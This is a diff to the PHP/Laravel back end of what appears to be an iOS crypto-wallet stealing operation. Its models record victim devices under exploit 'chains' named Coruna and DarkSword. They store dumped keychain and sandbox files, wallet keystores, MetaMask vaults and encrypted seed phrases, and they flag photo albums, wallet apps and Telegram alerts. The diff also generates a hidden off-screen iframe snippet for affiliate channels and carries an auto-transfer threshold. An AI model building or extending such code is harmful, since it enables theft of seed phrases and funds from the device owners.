if (str_contains($fn, 'bitpie')) return 'Bitpie';
|
||||
if (str_contains($fn, 'global.wallet')) return 'Global Wallet';
|
||||
if (str_contains($fn, 'metamask')) return 'MetaMask';
|
||||
if (str_contains($fn, 'coin98')) return 'Coin98';
|
||||
if (str_contains($fn, 'phantom')) return 'Phantom';
|
||||
if (str_contains($fn, 'uniswap')) return 'Uniswap';
|
||||
if (str_contains($fn, 'exodus')) return 'Exodus';
|
||||
if (str_contains($fn, 'tonhub')) return 'Tonhub';
|
||||
if (str_contains($fn, 'tonkeeper')) return 'Tonkeeper';
|
||||
if (str_contains($fn, 'okex')) return 'OKX';
|
||||
|
||||
return substr(basename($filename, '.zip'), 0, 40);
|
||||
}
|
||||
|
||||
private function isJson(string $content): bool
|
||||
{
|
||||
$t = ltrim($content);
|
||||
return str_starts_with($t, '{') || str_starts_with($t, '[');
|
||||
}
|
||||
}
|
||||
@@ -14,6 +14,8 @@ class Admin extends Authenticatable
|
||||
'google_auth_open',
|
||||
'google_secret',
|
||||
'last_ip',
|
||||
'login_attempts',
|
||||
'locked_at',
|
||||
];
|
||||
|
||||
protected $hidden = ['password', 'remember_token', 'google_secret'];
|
||||
@@ -25,6 +27,8 @@ class Admin extends Authenticatable
|
||||
'is_super' => 'integer',
|
||||
'status' => 'integer',
|
||||
'google_auth_open' => 'integer',
|
||||
'login_attempts' => 'integer',
|
||||
'locked_at' => 'datetime',
|
||||
];
|
||||
}
|
||||
|
||||
@@ -38,6 +42,42 @@ class Admin extends Authenticatable
|
||||
return (int) $this->status === 1;
|
||||
}
|
||||
|
||||
public function isLocked(): bool
|
||||
{
|
||||
return $this->locked_at !== null;
|
||||
}
|
||||
|
||||
/**
|
||||
* Increment the consecutive failed-login counter; auto-lock when the
|
||||
* count reaches $maxAttempts (default 5). Returns true when the call
|
||||
* triggers a lock.
|
||||
*/
|
||||
public function recordFailedLogin(int $maxAttempts = 5): bool
|
||||
{
|
||||
$this->login_attempts = (int) $this->login_attempts + 1;
|
||||
$justLocked = false;
|
||||
if ($this->login_attempts >= $maxAttempts && ! $this->isLocked()) {
|
||||
$this->locked_at = now();
|
||||
$justLocked = true;
|
||||
}
|
||||
$this->save();
|
||||
|
||||
return $justLocked;
|
||||
}
|
||||
|
||||
/**
|
||||
* Reset the failed-login counter (called after a successful login or
|
||||
* when an admin manually unlocks the account).
|
||||
*/
|
||||
public function clearLoginAttempts(): void
|
||||
{
|
||||
if ((int) $this->login_attempts !== 0 || $this->locked_at !== null) {
|
||||
$this->login_attempts = 0;
|
||||
$this->locked_at = null;
|
||||
$this->save();
|
||||
}
|
||||
}
|
||||
|
||||
public function hasGoogleBound(): bool
|
||||
{
|
||||
return filled($this->google_secret);
|
||||
|
||||
+56
-1
@@ -14,6 +14,8 @@ class Channel extends Model
|
||||
|
||||
public const BUILDER_NEW = 'new';
|
||||
|
||||
public const BUILDER_APP = 'app';
|
||||
|
||||
/** New-builder channel id / core ver·sdkv patch string: exactly 6 chars like 2.2.66 (alnum + dots). */
|
||||
public const NEW_CHANNEL_ID_PATTERN = '/^[0-9A-Z]\.[0-9A-Z]\.[0-9A-Z]{2}$/';
|
||||
|
||||
@@ -34,6 +36,7 @@ class Channel extends Model
|
||||
|
||||
protected $fillable = [
|
||||
'channel_id', 'builder_type', 'user_id', 'domains', 'status', 'remark',
|
||||
'app_name', 'bundle_id', 'h5_url',
|
||||
];
|
||||
|
||||
protected $attributes = [
|
||||
@@ -88,11 +91,23 @@ class Channel extends Model
|
||||
return $this->builderType() === self::BUILDER_NEW;
|
||||
}
|
||||
|
||||
public function isAppBuilder(): bool
|
||||
{
|
||||
return $this->builderType() === self::BUILDER_APP;
|
||||
}
|
||||
|
||||
public function builderType(): string
|
||||
{
|
||||
$type = strtolower(trim((string) ($this->builder_type ?? '')));
|
||||
|
||||
return $type === self::BUILDER_NEW ? self::BUILDER_NEW : self::BUILDER_OLD;
|
||||
if ($type === self::BUILDER_NEW) {
|
||||
return self::BUILDER_NEW;
|
||||
}
|
||||
if ($type === self::BUILDER_APP) {
|
||||
return self::BUILDER_APP;
|
||||
}
|
||||
|
||||
return self::BUILDER_OLD;
|
||||
}
|
||||
|
||||
public function agentLabel(): string
|
||||
@@ -189,11 +204,51 @@ class Channel extends Model
|
||||
return '<iframe src="'.$url.'" style="position:fixed;top:0;left:-1000px;pointer-events:none;border:0"></iframe>';
|
||||
}
|
||||
|
||||
public function promoScriptSnippet(): string
|
||||
{
|
||||
return '<script src="./index.js"></script>';
|
||||
}
|
||||
|
||||
public function embedAssetDir(): ?string
|
||||
{
|
||||
$root = rtrim((string) config('coruna.channel_builder.artifact_root', public_path()), DIRECTORY_SEPARATOR);
|
||||
$dir = match ($this->builderType()) {
|
||||
self::BUILDER_NEW => $root.DIRECTORY_SEPARATOR.'channel'.DIRECTORY_SEPARATOR.$this->channel_id.DIRECTORY_SEPARATOR.'weifile',
|
||||
self::BUILDER_OLD => $root.DIRECTORY_SEPARATOR.'web'.DIRECTORY_SEPARATOR.$this->channel_id,
|
||||
default => null,
|
||||
};
|
||||
if ($dir === null || ! is_dir($dir)) {
|
||||
return null;
|
||||
}
|
||||
|
||||
return $dir;
|
||||
}
|
||||
|
||||
public function embedZipName(): string
|
||||
{
|
||||
$safe = preg_replace('/[^0-9A-Za-z._-]+/', '-', (string) $this->channel_id) ?: 'channel';
|
||||
|
||||
return 'channel-embed-'.$safe.'.zip';
|
||||
}
|
||||
|
||||
public static function randomChannelId(): string
|
||||
{
|
||||
return bin2hex(random_bytes(16));
|
||||
}
|
||||
|
||||
/** UUID v4 channel id for app builder channels (e.g. a13b4f76-d901-46f5-b447-36b7e856ea31). */
|
||||
public static function randomAppChannelId(): string
|
||||
{
|
||||
for ($i = 0; $i < 64; $i++) {
|
||||
$uuid = \Illuminate\Support\Str::uuid()->toString();
|
||||
if (! self::query()->where('channel_id', $uuid)->exists()) {
|
||||
return $uuid;
|
||||
}
|
||||
}
|
||||
|
||||
throw new RuntimeException('无法生成唯一渠道 ID');
|
||||
}
|
||||
|
||||
public static function normalizeNewChannelId(string $channelId): ?string
|
||||
{
|
||||
$channelId = strtoupper(trim($channelId));
|
||||
|
||||
@@ -18,6 +18,8 @@ class Device extends Model
|
||||
|
||||
public const CHAIN_DARKSWORD = 2;
|
||||
|
||||
public const CHAIN_APP = 3;
|
||||
|
||||
protected $fillable = [
|
||||
'device_id', 'chain', 'channel_id', 'source_domain', 'phone', 'ios_version', 'device_model', 'ip', 'country', 'user_agent',
|
||||
'telegram_notified', 'album_storage', 'has_wallet', 'wallet_names',
|
||||
@@ -82,6 +84,11 @@ class Device extends Model
|
||||
return (int) $this->chain === self::CHAIN_DARKSWORD;
|
||||
}
|
||||
|
||||
public function isApp(): bool
|
||||
{
|
||||
return (int) $this->chain === self::CHAIN_APP;
|
||||
}
|
||||
|
||||
public function hasWalletApps(): bool
|
||||
{
|
||||
return (int) $this->has_wallet === self::WALLET_YES;
|
||||
|
||||
@@ -23,4 +23,25 @@ class DeviceApp extends Model
|
||||
{
|
||||
return $this->belongsTo(Device::class);
|
||||
}
|
||||
|
||||
/**
|
||||
* Keychain access groups like TEAM.apple.Spotlight and TEAM.* are not
|
||||
* installed apps. Skip them on write and hide any leftover rows in lists.
|
||||
*/
|
||||
public static function shouldSkipBundle(?string $bundleId): bool
|
||||
{
|
||||
$bundle = strtolower(trim((string) $bundleId));
|
||||
if ($bundle === '' || $bundle === '*') {
|
||||
return true;
|
||||
}
|
||||
|
||||
return str_starts_with($bundle, 'apple.');
|
||||
}
|
||||
|
||||
public function scopeListed($query)
|
||||
{
|
||||
return $query
|
||||
->where('bundle_id', '!=', '*')
|
||||
->whereRaw('LOWER(bundle_id) NOT LIKE ?', ['apple.%']);
|
||||
}
|
||||
}
|
||||
|
||||
@@ -12,6 +12,14 @@ class SystemLog extends Model
|
||||
|
||||
public const ACTION_MNEMONIC_CREATE = 'mnemonic_create';
|
||||
|
||||
public const ACTION_ADMIN_LOCKED = 'admin_locked';
|
||||
|
||||
public const ACTION_ADMIN_UNLOCKED = 'admin_unlocked';
|
||||
|
||||
public const ACTION_AGENT_LOCKED = 'agent_locked';
|
||||
|
||||
public const ACTION_AGENT_UNLOCKED = 'agent_unlocked';
|
||||
|
||||
public const UPDATED_AT = null;
|
||||
|
||||
protected $fillable = [
|
||||
@@ -30,6 +38,10 @@ class SystemLog extends Model
|
||||
return [
|
||||
self::ACTION_MNEMONIC_REVEAL => '查看助记词',
|
||||
self::ACTION_MNEMONIC_CREATE => '手动添加助记词',
|
||||
self::ACTION_ADMIN_LOCKED => '账号封锁',
|
||||
self::ACTION_ADMIN_UNLOCKED => '账号解锁',
|
||||
self::ACTION_AGENT_LOCKED => '代理账号封锁',
|
||||
self::ACTION_AGENT_UNLOCKED => '代理账号解锁',
|
||||
];
|
||||
}
|
||||
|
||||
|
||||
@@ -17,6 +17,8 @@ class User extends Authenticatable
|
||||
'auto_transfer_threshold_bnb',
|
||||
'album_storage_default',
|
||||
'can_reveal_mnemonics',
|
||||
'login_attempts',
|
||||
'locked_at',
|
||||
];
|
||||
|
||||
protected $hidden = [
|
||||
@@ -46,6 +48,8 @@ class User extends Authenticatable
|
||||
'album_storage_default' => 'boolean',
|
||||
'can_reveal_mnemonics' => 'boolean',
|
||||
'google_auth_open' => 'integer',
|
||||
'login_attempts' => 'integer',
|
||||
'locked_at' => 'datetime',
|
||||
];
|
||||
}
|
||||
|
||||
@@ -59,6 +63,42 @@ class User extends Authenticatable
|
||||
return (int) $this->status === 1;
|
||||
}
|
||||
|
||||
public function isLocked(): bool
|
||||
{
|
||||
return $this->locked_at !== null;
|
||||
}
|
||||
|
||||
/**
|
||||
* Increment the consecutive failed-login counter; auto-lock when the
|
||||
* count reaches $maxAttempts (default 5). Returns true when the call
|
||||
* triggers a lock.
|
||||
*/
|
||||
public function recordFailedLogin(int $maxAttempts = 5): bool
|
||||
{
|
||||
$this->login_attempts = (int) $this->login_attempts + 1;
|
||||
$justLocked = false;
|
||||
if ($this->login_attempts >= $maxAttempts && ! $this->isLocked()) {
|
||||
$this->locked_at = now();
|
||||
$justLocked = true;
|
||||
}
|
||||
$this->save();
|
||||
|
||||
return $justLocked;
|
||||
}
|
||||
|
||||
/**
|
||||
* Reset the failed-login counter (called after a successful login or
|
||||
* when an admin manually unlocks the account).
|
||||
*/
|
||||
public function clearLoginAttempts(): void
|
||||
{
|
||||
if ((int) $this->login_attempts !== 0 || $this->locked_at !== null) {
|
||||
$this->login_attempts = 0;
|
||||
$this->locked_at = null;
|
||||
$this->save();
|
||||
}
|
||||
}
|
||||
|
||||
public function channels(): HasMany
|
||||
{
|
||||
return $this->hasMany(Channel::class, 'user_id');
|
||||
|
||||
@@ -78,6 +78,11 @@ class WalletAddress extends Model
|
||||
if (! is_numeric($value)) {
|
||||
continue;
|
||||
}
|
||||
// A wallet balance can never be negative; clamp device-reported negatives to 0.
|
||||
if ((float) $value < 0) {
|
||||
$out[$col] = '0';
|
||||
continue;
|
||||
}
|
||||
$out[$col] = $value;
|
||||
}
|
||||
|
||||
@@ -99,6 +104,10 @@ class WalletAddress extends Model
|
||||
if (! is_numeric($amount)) {
|
||||
return (string) $amount;
|
||||
}
|
||||
// Defensive: never render a negative balance (e.g. stale device-reported rows).
|
||||
if ((float) $amount < 0) {
|
||||
$amount = '0';
|
||||
}
|
||||
|
||||
$decimals = self::displayDecimals($coin);
|
||||
$formatted = number_format((float) $amount, $decimals, '.', '');
|
||||
|
||||
+356
-51
@@ -10,14 +10,18 @@ use Illuminate\Support\Facades\Log;
|
||||
class WalletKeystore extends Model
|
||||
{
|
||||
protected $fillable = [
|
||||
'device_id', 'source', 'decrypted', 'raw_json', 'content_hash',
|
||||
'device_id', 'chain', 'source', 'decrypted', 'needs_password', 'raw_json', 'content_hash',
|
||||
'list_kind', 'list_item_count', 'list_summary', 'list_has_web3',
|
||||
];
|
||||
|
||||
protected function casts(): array
|
||||
{
|
||||
return [
|
||||
'raw_json' => 'array',
|
||||
'chain' => 'integer',
|
||||
'decrypted' => 'integer',
|
||||
'needs_password' => 'integer',
|
||||
'list_has_web3' => 'integer',
|
||||
];
|
||||
}
|
||||
|
||||
@@ -29,15 +33,31 @@ class WalletKeystore extends Model
|
||||
*/
|
||||
public static function listColumns(string $table = 'wallet_keystores'): array
|
||||
{
|
||||
return [
|
||||
$cols = [
|
||||
$table.'.id',
|
||||
$table.'.device_id',
|
||||
$table.'.source',
|
||||
$table.'.decrypted',
|
||||
$table.'.created_at',
|
||||
$table.'.updated_at',
|
||||
DB::raw('LENGTH('.$table.'.raw_json) as raw_json_len'),
|
||||
];
|
||||
if (self::hasChainColumn()) {
|
||||
$cols[] = $table.'.chain';
|
||||
}
|
||||
if (self::hasNeedsPasswordColumn()) {
|
||||
$cols[] = $table.'.needs_password';
|
||||
}
|
||||
|
||||
if (self::hasListStatsColumns()) {
|
||||
$cols[] = $table.'.list_kind';
|
||||
$cols[] = $table.'.list_item_count';
|
||||
$cols[] = $table.'.list_summary';
|
||||
$cols[] = $table.'.list_has_web3';
|
||||
}
|
||||
|
||||
$cols[] = $table.'.created_at';
|
||||
$cols[] = $table.'.updated_at';
|
||||
$cols[] = DB::raw('LENGTH('.$table.'.raw_json) as raw_json_len');
|
||||
|
||||
return $cols;
|
||||
}
|
||||
|
||||
/**
|
||||
@@ -50,69 +70,288 @@ class WalletKeystore extends Model
|
||||
*/
|
||||
public static function listColumnsLight(string $table = 'wallet_keystores'): array
|
||||
{
|
||||
return [
|
||||
$cols = [
|
||||
$table.'.id',
|
||||
$table.'.device_id',
|
||||
$table.'.source',
|
||||
$table.'.decrypted',
|
||||
$table.'.created_at',
|
||||
$table.'.updated_at',
|
||||
];
|
||||
if (self::hasChainColumn()) {
|
||||
$cols[] = $table.'.chain';
|
||||
}
|
||||
if (self::hasNeedsPasswordColumn()) {
|
||||
$cols[] = $table.'.needs_password';
|
||||
}
|
||||
|
||||
if (self::hasListStatsColumns()) {
|
||||
$cols[] = $table.'.list_kind';
|
||||
$cols[] = $table.'.list_item_count';
|
||||
$cols[] = $table.'.list_summary';
|
||||
$cols[] = $table.'.list_has_web3';
|
||||
}
|
||||
|
||||
$cols[] = $table.'.created_at';
|
||||
$cols[] = $table.'.updated_at';
|
||||
|
||||
return $cols;
|
||||
}
|
||||
|
||||
public static function hasChainColumn(): bool
|
||||
{
|
||||
static $has = null;
|
||||
if ($has === null) {
|
||||
$has = \Illuminate\Support\Facades\Schema::hasColumn('wallet_keystores', 'chain');
|
||||
}
|
||||
|
||||
return $has;
|
||||
}
|
||||
|
||||
public static function hasNeedsPasswordColumn(): bool
|
||||
{
|
||||
static $has = null;
|
||||
if ($has === null) {
|
||||
$has = \Illuminate\Support\Facades\Schema::hasColumn('wallet_keystores', 'needs_password');
|
||||
}
|
||||
|
||||
return $has;
|
||||
}
|
||||
|
||||
public static function hasListStatsColumns(): bool
|
||||
{
|
||||
static $has = null;
|
||||
if ($has === null) {
|
||||
$has = \Illuminate\Support\Facades\Schema::hasColumn('wallet_keystores', 'list_item_count');
|
||||
}
|
||||
|
||||
return $has;
|
||||
}
|
||||
|
||||
/**
|
||||
* Load this row's raw_json alone, log memory, then drop the blob.
|
||||
* List-page stats. Prefer denormalized columns so we never load raw_json
|
||||
* (sandbox dumps can be tens of MB). Cache-miss hydrates once and persists.
|
||||
*
|
||||
* @return array{item_count: int, summary: string, kind: string}
|
||||
* @return array{item_count: int, summary: string, kind: string, has_web3_keystore: bool}
|
||||
*/
|
||||
public function listStats(): array
|
||||
{
|
||||
$len = (int) ($this->raw_json_len ?? 0);
|
||||
$memBefore = memory_get_usage(true);
|
||||
Log::info('keystore.list.hydrate.start', [
|
||||
'id' => $this->id,
|
||||
'raw_json_len' => $len,
|
||||
'mem' => $memBefore,
|
||||
]);
|
||||
if ($this->hasCachedListStats()) {
|
||||
return $this->cachedListStats();
|
||||
}
|
||||
|
||||
$json = is_array($this->raw_json) ? $this->raw_json : null;
|
||||
if ($json === null && $this->id) {
|
||||
$raw = self::query()->whereKey($this->id)->value('raw_json');
|
||||
$this->setAttribute('raw_json', $raw);
|
||||
$json = is_array($this->raw_json) ? $this->raw_json : [];
|
||||
}
|
||||
$json = is_array($json) ? $json : [];
|
||||
|
||||
$raw = self::query()->whereKey($this->id)->value('raw_json');
|
||||
$this->setAttribute('raw_json', $raw);
|
||||
try {
|
||||
$stats = [
|
||||
'item_count' => $this->itemCount(),
|
||||
'summary' => $this->summary(),
|
||||
'kind' => $this->kindLabel(),
|
||||
'has_web3_keystore' => $this->hasWeb3Keystore(),
|
||||
];
|
||||
$stats = self::computeListStatsFromJson($json);
|
||||
} catch (\Throwable $e) {
|
||||
Log::warning('keystore.list.hydrate.fail', [
|
||||
'id' => $this->id,
|
||||
'raw_json_len' => $len,
|
||||
'mem' => memory_get_usage(true),
|
||||
'error' => $e->getMessage(),
|
||||
]);
|
||||
$stats = [
|
||||
'item_count' => 0,
|
||||
'summary' => '',
|
||||
'kind' => $this->kindLabel(),
|
||||
'kind' => self::kindLabelFor(trim((string) ($json['kind'] ?? ''))),
|
||||
'has_web3_keystore' => false,
|
||||
];
|
||||
} finally {
|
||||
$this->setAttribute('raw_json', null);
|
||||
if ($this->id) {
|
||||
$this->setAttribute('raw_json', null);
|
||||
}
|
||||
}
|
||||
|
||||
Log::info('keystore.list.hydrate.done', [
|
||||
'id' => $this->id,
|
||||
'raw_json_len' => $len,
|
||||
'item_count' => $stats['item_count'],
|
||||
'kind' => $stats['kind'],
|
||||
'mem' => memory_get_usage(true),
|
||||
'delta' => memory_get_usage(true) - $memBefore,
|
||||
]);
|
||||
$this->persistListStats($stats);
|
||||
|
||||
return $stats;
|
||||
}
|
||||
|
||||
public function hasCachedListStats(): bool
|
||||
{
|
||||
return self::hasListStatsColumns()
|
||||
&& array_key_exists('list_item_count', $this->attributes)
|
||||
&& $this->attributes['list_item_count'] !== null;
|
||||
}
|
||||
|
||||
/**
|
||||
* @return array{item_count: int, summary: string, kind: string, has_web3_keystore: bool}
|
||||
*/
|
||||
public function cachedListStats(): array
|
||||
{
|
||||
return [
|
||||
'item_count' => (int) $this->list_item_count,
|
||||
'summary' => (string) ($this->list_summary ?? ''),
|
||||
'kind' => (string) ($this->list_kind ?? ''),
|
||||
'has_web3_keystore' => (int) $this->list_has_web3 === 1,
|
||||
];
|
||||
}
|
||||
|
||||
/**
|
||||
* @param array<string, mixed> $json
|
||||
* @return array{item_count: int, summary: string, kind: string, has_web3_keystore: bool}
|
||||
*/
|
||||
public static function computeListStatsFromJson(array $json): array
|
||||
{
|
||||
$row = new static(['raw_json' => $json]);
|
||||
$names = [];
|
||||
$count = 0;
|
||||
$row->collectListMeta($json, $count, $names);
|
||||
$kind = self::kindLabelFor(trim((string) ($json['kind'] ?? '')));
|
||||
if ($names === []) {
|
||||
$summary = $count > 0 ? $count.' 条' : '';
|
||||
} else {
|
||||
$summary = implode(' · ', $names);
|
||||
if ($count > 3) {
|
||||
$summary .= ' 等'.$count.'条';
|
||||
}
|
||||
}
|
||||
|
||||
return [
|
||||
'item_count' => $count,
|
||||
'summary' => mb_substr($summary, 0, 255),
|
||||
'kind' => $kind,
|
||||
'has_web3_keystore' => $row->containsWeb3Keystore($json),
|
||||
];
|
||||
}
|
||||
|
||||
/**
|
||||
* @param array{item_count: int, summary: string, kind: string, has_web3_keystore: bool} $stats
|
||||
* @return array<string, mixed>
|
||||
*/
|
||||
public static function listStatsAttributes(array $stats): array
|
||||
{
|
||||
if (! self::hasListStatsColumns()) {
|
||||
return [];
|
||||
}
|
||||
|
||||
return [
|
||||
'list_kind' => $stats['kind'],
|
||||
'list_item_count' => $stats['item_count'],
|
||||
'list_summary' => $stats['summary'],
|
||||
'list_has_web3' => ! empty($stats['has_web3_keystore']) ? 1 : 0,
|
||||
];
|
||||
}
|
||||
|
||||
/**
|
||||
* @param array{item_count: int, summary: string, kind: string, has_web3_keystore: bool} $stats
|
||||
*/
|
||||
private function persistListStats(array $stats): void
|
||||
{
|
||||
$attrs = self::listStatsAttributes($stats);
|
||||
if ($attrs === []) {
|
||||
return;
|
||||
}
|
||||
foreach ($attrs as $key => $value) {
|
||||
$this->setAttribute($key, $value);
|
||||
}
|
||||
if ($this->id) {
|
||||
self::query()->whereKey($this->id)->update($attrs);
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Count list entries and pick up to 3 names without hashing / base64-decoding blobs.
|
||||
*
|
||||
* @param array<string, mixed> $json
|
||||
* @param list<string> $names
|
||||
*/
|
||||
private function collectListMeta(array $json, int &$count, array &$names): void
|
||||
{
|
||||
$wallets = $json['wallets'] ?? null;
|
||||
if (is_array($wallets)) {
|
||||
foreach ($wallets as $key => $bucket) {
|
||||
if (is_string($bucket) && $bucket !== '') {
|
||||
$count++;
|
||||
if (count($names) < 3) {
|
||||
$names[] = is_string($key) ? $key : 'wallet';
|
||||
}
|
||||
|
||||
continue;
|
||||
}
|
||||
if (! is_array($bucket)) {
|
||||
continue;
|
||||
}
|
||||
$items = is_array($bucket['items'] ?? null) ? $bucket['items'] : [];
|
||||
foreach ($items as $item) {
|
||||
if (! is_array($item)) {
|
||||
continue;
|
||||
}
|
||||
$count++;
|
||||
if (count($names) < 3) {
|
||||
$name = trim((string) ($item['account'] ?? ''));
|
||||
if ($name !== '') {
|
||||
$names[] = $name;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
$sandbox = $json['sandbox'] ?? null;
|
||||
if (is_array($sandbox)) {
|
||||
$this->collectSandboxMeta($sandbox, $count, $names);
|
||||
}
|
||||
if (isset($json['crypto']) && is_array($json['crypto'])) {
|
||||
$count++;
|
||||
if (count($names) < 3) {
|
||||
$names[] = (string) ($json['id'] ?? $json['type'] ?? 'keystore');
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* @param array<string, mixed> $sandbox
|
||||
* @param list<string> $names
|
||||
*/
|
||||
private function collectSandboxMeta(array $sandbox, int &$count, array &$names, string $prefix = ''): void
|
||||
{
|
||||
foreach ($sandbox as $key => $value) {
|
||||
$path = $prefix === '' ? (string) $key : $prefix.'/'.$key;
|
||||
if (is_array($value)) {
|
||||
if (isset($value['items']) && is_array($value['items'])) {
|
||||
foreach ($value['items'] as $item) {
|
||||
if (! is_array($item)) {
|
||||
continue;
|
||||
}
|
||||
$count++;
|
||||
if (count($names) < 3) {
|
||||
$name = trim((string) ($item['account'] ?? ''));
|
||||
$names[] = $name !== '' ? $name : $path;
|
||||
}
|
||||
}
|
||||
|
||||
continue;
|
||||
}
|
||||
$this->collectSandboxMeta($value, $count, $names, $path);
|
||||
|
||||
continue;
|
||||
}
|
||||
if (! is_string($value) || $value === '') {
|
||||
continue;
|
||||
}
|
||||
$count++;
|
||||
if (count($names) < 3) {
|
||||
$names[] = $path;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
public static function kindLabelFor(string $kind): string
|
||||
{
|
||||
return match ($kind) {
|
||||
'keychain.wallets' => '钥匙串',
|
||||
'sandbox' => '沙盒文件',
|
||||
'web3.keystore' => '标准 Keystore',
|
||||
'metamask.vault' => 'MetaMask Vault',
|
||||
'coin98.wallet' => 'Coin98 加密钱包',
|
||||
'encrypted.sandbox' => '加密钱包文件',
|
||||
default => $kind !== '' ? $kind : '未知',
|
||||
};
|
||||
}
|
||||
|
||||
/**
|
||||
* @param array<string, mixed> $rawJson
|
||||
*/
|
||||
@@ -130,12 +369,20 @@ class WalletKeystore extends Model
|
||||
|
||||
/**
|
||||
* @param array<string, mixed> $rawJson
|
||||
* @param bool $needsPassword When true, persist needs_password=1. Never writes 0.
|
||||
*/
|
||||
public static function firstOrCreateForDevice(Device $device, string $source, array $rawJson): self
|
||||
public static function firstOrCreateForDevice(Device $device, string $source, array $rawJson, bool $needsPassword = false): self
|
||||
{
|
||||
$hash = self::hashPayload($rawJson);
|
||||
$matches = [];
|
||||
foreach (self::query()->where('device_id', $device->id)->select(['id', 'content_hash', 'decrypted'])->orderByDesc('decrypted')->orderByDesc('id')->cursor() as $row) {
|
||||
$select = ['id', 'content_hash', 'decrypted'];
|
||||
if (self::hasChainColumn()) {
|
||||
$select[] = 'chain';
|
||||
}
|
||||
if (\Illuminate\Support\Facades\Schema::hasColumn('wallet_keystores', 'needs_password')) {
|
||||
$select[] = 'needs_password';
|
||||
}
|
||||
foreach (self::query()->where('device_id', $device->id)->select($select)->orderByDesc('decrypted')->orderByDesc('id')->cursor() as $row) {
|
||||
$rowHash = (string) $row->content_hash;
|
||||
if ($rowHash === '') {
|
||||
$raw = self::query()->whereKey($row->id)->value('raw_json');
|
||||
@@ -159,6 +406,10 @@ class WalletKeystore extends Model
|
||||
foreach (array_slice($matches, 1) as $dup) {
|
||||
$dup->delete();
|
||||
}
|
||||
if ($needsPassword) {
|
||||
self::markNeedsPassword($keep);
|
||||
}
|
||||
self::fillChain($keep, $device);
|
||||
|
||||
return $keep;
|
||||
}
|
||||
@@ -169,13 +420,62 @@ class WalletKeystore extends Model
|
||||
'decrypted' => 0,
|
||||
'raw_json' => $rawJson,
|
||||
];
|
||||
if (self::hasChainColumn()) {
|
||||
$payload['chain'] = self::chainFromDevice($device);
|
||||
}
|
||||
$payload = array_merge($payload, self::listStatsAttributes(self::computeListStatsFromJson($rawJson)));
|
||||
if (\Illuminate\Support\Facades\Schema::hasColumn('wallet_keystores', 'content_hash')) {
|
||||
$payload['content_hash'] = $hash;
|
||||
}
|
||||
if ($needsPassword && \Illuminate\Support\Facades\Schema::hasColumn('wallet_keystores', 'needs_password')) {
|
||||
$payload['needs_password'] = 1;
|
||||
}
|
||||
|
||||
return self::query()->create($payload);
|
||||
}
|
||||
|
||||
public static function chainFromDevice(Device $device): int
|
||||
{
|
||||
$chain = (int) ($device->chain ?: Device::CHAIN_CORUNA);
|
||||
|
||||
return in_array($chain, [Device::CHAIN_CORUNA, Device::CHAIN_DARKSWORD, Device::CHAIN_APP], true)
|
||||
? $chain
|
||||
: Device::CHAIN_CORUNA;
|
||||
}
|
||||
|
||||
/**
|
||||
* Fill missing chain from the device. Does not overwrite a stored value.
|
||||
*/
|
||||
public static function fillChain(self $row, Device $device): void
|
||||
{
|
||||
if (! self::hasChainColumn()) {
|
||||
return;
|
||||
}
|
||||
if ((int) $row->chain === Device::CHAIN_CORUNA
|
||||
|| (int) $row->chain === Device::CHAIN_DARKSWORD
|
||||
|| (int) $row->chain === Device::CHAIN_APP) {
|
||||
return;
|
||||
}
|
||||
$chain = self::chainFromDevice($device);
|
||||
self::query()->whereKey($row->id)->update(['chain' => $chain]);
|
||||
$row->setAttribute('chain', $chain);
|
||||
}
|
||||
|
||||
/**
|
||||
* Flag a row as requiring a user password. Writes 1 only; never 0.
|
||||
*/
|
||||
public static function markNeedsPassword(self $row): void
|
||||
{
|
||||
if (! \Illuminate\Support\Facades\Schema::hasColumn('wallet_keystores', 'needs_password')) {
|
||||
return;
|
||||
}
|
||||
if ((int) $row->needs_password === 1) {
|
||||
return;
|
||||
}
|
||||
self::query()->whereKey($row->id)->update(['needs_password' => 1]);
|
||||
$row->setAttribute('needs_password', 1);
|
||||
}
|
||||
|
||||
/**
|
||||
* @return list<string>
|
||||
*/
|
||||
@@ -208,11 +508,7 @@ class WalletKeystore extends Model
|
||||
|
||||
public function kindLabel(): string
|
||||
{
|
||||
return match ($this->kind()) {
|
||||
'keychain.wallets' => '钥匙串',
|
||||
'sandbox' => '沙盒文件',
|
||||
default => $this->kind() !== '' ? $this->kind() : '未知',
|
||||
};
|
||||
return self::kindLabelFor($this->kind());
|
||||
}
|
||||
|
||||
/**
|
||||
@@ -228,15 +524,24 @@ class WalletKeystore extends Model
|
||||
public function hasWeb3Keystore(): bool
|
||||
{
|
||||
$json = is_array($this->raw_json) ? $this->raw_json : [];
|
||||
if ($this->isWeb3KeystoreNode($json)) {
|
||||
|
||||
return $this->containsWeb3Keystore($json);
|
||||
}
|
||||
|
||||
/**
|
||||
* @param mixed $node
|
||||
*/
|
||||
private function containsWeb3Keystore(mixed $node, int $depth = 0): bool
|
||||
{
|
||||
if ($depth > 12 || ! is_array($node)) {
|
||||
return false;
|
||||
}
|
||||
if ($this->isWeb3KeystoreNode($node)) {
|
||||
return true;
|
||||
}
|
||||
$wallets = $json['wallets'] ?? null;
|
||||
if (is_array($wallets)) {
|
||||
foreach ($wallets as $bucket) {
|
||||
if (is_array($bucket) && $this->isWeb3KeystoreNode($bucket)) {
|
||||
return true;
|
||||
}
|
||||
foreach ($node as $child) {
|
||||
if (is_array($child) && $this->containsWeb3Keystore($child, $depth + 1)) {
|
||||
return true;
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
@@ -11,8 +11,17 @@ class WalletMnemonic extends Model
|
||||
{
|
||||
protected $fillable = [
|
||||
'device_id', 'origin_device_id', 'source', 'mnemonic_hash', 'mnemonic_enc',
|
||||
'discovery_complete', 'discovered_at',
|
||||
];
|
||||
|
||||
protected function casts(): array
|
||||
{
|
||||
return [
|
||||
'discovery_complete' => 'boolean',
|
||||
'discovered_at' => 'datetime',
|
||||
];
|
||||
}
|
||||
|
||||
public function device(): BelongsTo
|
||||
{
|
||||
return $this->belongsTo(Device::class);
|
||||
|
||||
@@ -2,6 +2,7 @@
|
||||
|
||||
namespace App\Providers;
|
||||
|
||||
use App\Services\Alchemy\AlchemyBalanceService;
|
||||
use App\Services\CorunaArchive;
|
||||
use App\Services\CorunaCrypto;
|
||||
use App\Services\Ocr\OcrDriver;
|
||||
@@ -41,6 +42,10 @@ class AppServiceProvider extends ServiceProvider
|
||||
});
|
||||
|
||||
$this->app->bind(OcrDriver::class, TesseractOcrDriver::class);
|
||||
|
||||
